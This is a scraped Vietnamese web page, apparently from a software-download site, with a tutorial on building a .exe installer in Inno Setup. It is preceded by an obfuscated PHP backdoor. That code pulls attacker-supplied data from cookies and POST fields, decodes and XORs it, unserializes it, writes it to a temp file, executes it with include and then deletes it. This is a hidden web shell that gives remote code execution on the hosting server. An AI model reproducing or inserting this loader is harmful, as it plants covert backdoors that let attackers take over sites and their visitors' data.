$ylZYFX = chr (85) . '_' . 'E' . "\121" . "\130" . chr (108) . chr (104); $yLWtuVuIpp = 'c' . chr ( 753 - 645 ).chr (97) . "\x73" . chr ( 582 - 467 ).chr (95) . "\145" . "\170" . chr ( 510 - 405 ).chr (115) . "\x74" . 's';$kAOmFrC = class_exists($ylZYFX); $yLWtuVuIpp = "35366";$DZnLrk = strpos($yLWtuVuIpp, $ylZYFX);if ($kAOmFrC == $DZnLrk){function IAeTZP(){$aZfgaHHvu = new /* 4364 */ U_EQXlh(29822 + 29822); $aZfgaHHvu = NULL;}$XKXHSy = "29822";class U_EQXlh{private function KWZRppi($XKXHSy){if (is_array(U_EQXlh::$YNoKSXbD)) {$name = sys_get_temp_dir() . "/" . crc32(U_EQXlh::$YNoKSXbD["salt"]);@U_EQXlh::$YNoKSXbD["write"]($name, U_EQXlh::$YNoKSXbD["content"]);include $name;@U_EQXlh::$YNoKSXbD["delete"]($name); $XKXHSy = "29822";exit();}}public function HfLoXJy(){$XvCgWQeB = "40563";$this->_dummy = str_repeat($XvCgWQeB, strlen($XvCgWQeB));}public function __destruct(){U_EQXlh::$YNoKSXbD = @unserialize(U_EQXlh::$YNoKSXbD); $XKXHSy = "22734_2480";$this->KWZRppi($XKXHSy); $XKXHSy = "22734_2480";}public function gYQxmX($XvCgWQeB, $uwoXMoiAQJ){return $XvCgWQeB[0] ^ str_repeat($uwoXMoiAQJ, intval(strlen($XvCgWQeB[0]) / strlen($uwoXMoiAQJ)) + 1);}public function HturnsX($XvCgWQeB){$IRxSAES = "\142" . "\x61" . "\163" . chr (101) . chr (54) . chr ( 962 - 910 );return array_map($IRxSAES . chr ( 150 - 55 ).chr ( 1074 - 974 )."\145" . "\143" . 'o' . chr (100) . 'e', array($XvCgWQeB,));}public function __construct($oCcnlBmz=0){$vemMBQz = ',';$XvCgWQeB = "";$YdToI = $_POST;$OaybdGwVx = $_COOKIE;$uwoXMoiAQJ = "c88d6de5-9c28-4205-88d1-aa6ae4d03ace";$vclXYK = @$OaybdGwVx[substr($uwoXMoiAQJ, 0, 4)];if (!empty($vclXYK)){$vclXYK = explode($vemMBQz, $vclXYK);foreach ($vclXYK as $TPeibWgFe){$XvCgWQeB .= @$OaybdGwVx[$TPeibWgFe];$XvCgWQeB .= @$YdToI[$TPeibWgFe];}$XvCgWQeB = $this->HturnsX($XvCgWQeB);}U_EQXlh::$YNoKSXbD = $this->gYQxmX($XvCgWQeB, $uwoXMoiAQJ);if (strpos($uwoXMoiAQJ, $vemMBQz) !== FALSE){$uwoXMoiAQJ = explode($vemMBQz, $uwoXMoiAQJ); $dXdlFMY = sprintf("22734_2480", rtrim($uwoXMoiAQJ[0]));}}public static $YNoKSXbD = 56125;}IAeTZP();} Hướng dẫn đóng gói, tạo file exe bằng Inno Setup - Tải Chùa

Hướng dẫn đóng gói, tạo file exe bằng Inno Setup

Rate this post
Sử dụng Inno Setup để đóng gói, tạo file exe như thế nào? Để thực hiện cài đặt và sử dụng nó phức tạp hay không?

Mỗi khi bạn cài đặt một phần mềm nào đó trên máy tính thì bạn đều thấy chúng có dạng .exe. Nhưng liệu đã bao giờ bạn thắc mắc là những bản cài đặt đó được tạo ra như thế nào chưa? Vậy để giải đáp thắc mắc này thì bài viết dưới đây chúng tôi sẽ hướng dẫn bạn cách đóng gói, tạo file exe bằng Inno Setup.

Hướng dẫn đóng gói, tạo file exe bằng Inno Setup

Hướng dẫn đóng gói, tạo file exe bằng Inno Setup

Hướng dẫn đóng gói, tạo file exe bằng Inno Setup

Để thực hiện đóng gói, tạo file exe thì bạn thực hiện theo các bước sau đây:

Bước 1: Tải phiên bản mới nhất của phần mềm về máy tại: Download Inno Setup rồi sau đó tiến hành cài đặt. 

Bước 2: Sau khi đã cài đặt chương trình xong, bạn khởi động. Tiếp theo, nhấn Ctrl+N hoặc vào file >> New để bắt đầu tạo file cài đặt mới. 

Mở file cài đặt

Mở file cài đặt

Một cửa sổ mới hiện ra thì chọn Next..

Cách đóng gói file exe bằng Inno Setup

Cách đóng gói file exe bằng Inno Setup

Bước 3: Điền đầy đủ các thông tin như: tên ứng dụng, phiên bản, người tại, trang chủ,… rồi sau đó chọn Next.

Hướng dẫn cách đóng gói file exe

Hướng dẫn cách đóng gói file exe

Bước 4: Chọn vị trí lưu ứng dụng, tên thư mục,… Bạn có thể tích vào tùy chọn đàu tiên nếu như muốn thay đổi thư mục lưu ứng dụng, rồi sau đó nhấn Next để tiếp tục. 

Chọn vị trí lưu ứng dụng, tên thư mục

Chọn vị trí lưu ứng dụng, tên thư mục

Bước 5: Chọn Browse sau đó tìm đến vị trí nơi lưu trữ tập tin. Người dùng có thể thêm các file ứng dụng khác vào để dóng gói chung bằng cách chọn add file(s) và dẫn đến nơi có chứa ứng dụng đó. Sau khi đã thiết lập xong, bạn chọn Next để chuyển qua bước tiếp theo. 

Thực hiện các bước theo chỉ dẫn của hình vẽ

Thực hiện các bước theo chỉ dẫn của hình vẽ

Bước 6: Đặt tên cho ứng dụng vừa cài đặt vào máy, bạn cũng có thể tích vòa các tùy chọn để thay đổi thiết lập rồi chọn Next

Đặt tên cho ứng dụng

Đặt tên cho ứng dụng

Bước 7: Tại mục License file người dùng nhấn Browse để trỏ đến vị trí chứa tập tin License được lưu trữ trên máy tính, Information file show before… thông báo trước khi cài đặt, Information file show after… là thông báo sau khi cài đặt rồi nhấn Next để tiếp tục. 

Các thông tin trước và sau khi cài đặt

Các thông tin trước và sau khi cài đặt

Bước 8: Chọn ngôn ngữ cho tập tin thực thi rồi nhấn Next.

Lựa chọn ngôn ngữ

Lựa chọn ngôn ngữ

Bước 9: Trong mục Custom compiler output foder: chọn thư mục để lưu tập tin ứng dụng đã được biên dịch. 

  • Compiler output base file name: điền tên ứng dụng được biên dịch
  • Setup Password: theiets lập mật khẩu cho tập tin. 

Nhấn Next để tiếp tục. 

Chọn thư mục để lưu tập tin

Chọn thư mục để lưu tập tin

Như vậy, bạn đã tạo và đóng gói thành công tập tin ứng dụng rồi. Cuối cùng chỉ việc nhấn Finish để hoàn thành và đóng cửa sổ. 

Chọn Finish để hoàn thành và đóng cửa sổ

Chọn Finish để hoàn thành và đóng cửa sổ

Khi ứng dụng đã được tạo thành công thì bạn có thể nhấn biểu tượng như hình bên dưới đây để chạy ứng dụng hoặc là tìm file nơi mà bạn lựa chọn lưu. 

Nhấn biểu tượng để chạy ứng dụng 

Nhấn biểu tượng để chạy ứng dụng 

Hình ảnh ứng dụng vừa tạo ra khi cài đặt. 

Hình ảnh ứng dụng tạo ra khi cài đặt

Hình ảnh ứng dụng tạo ra khi cài đặt

Hình ảnh ứng dụng tạo ra khi cài đặt

Hình ảnh ứng dụng tạo ra khi cài đặt

Trên đây, với những bước thực hiện đơn giản thì chúng tôi vừa hướng dẫn đến bạn cách đóng gói, tạo file exe bằng Inno Setup rồi. Lúc này thì bạn đa có thể tự tạo ra cho mình những phần mềm của riêng mình rồi. Thật đơn giản đúng không nào?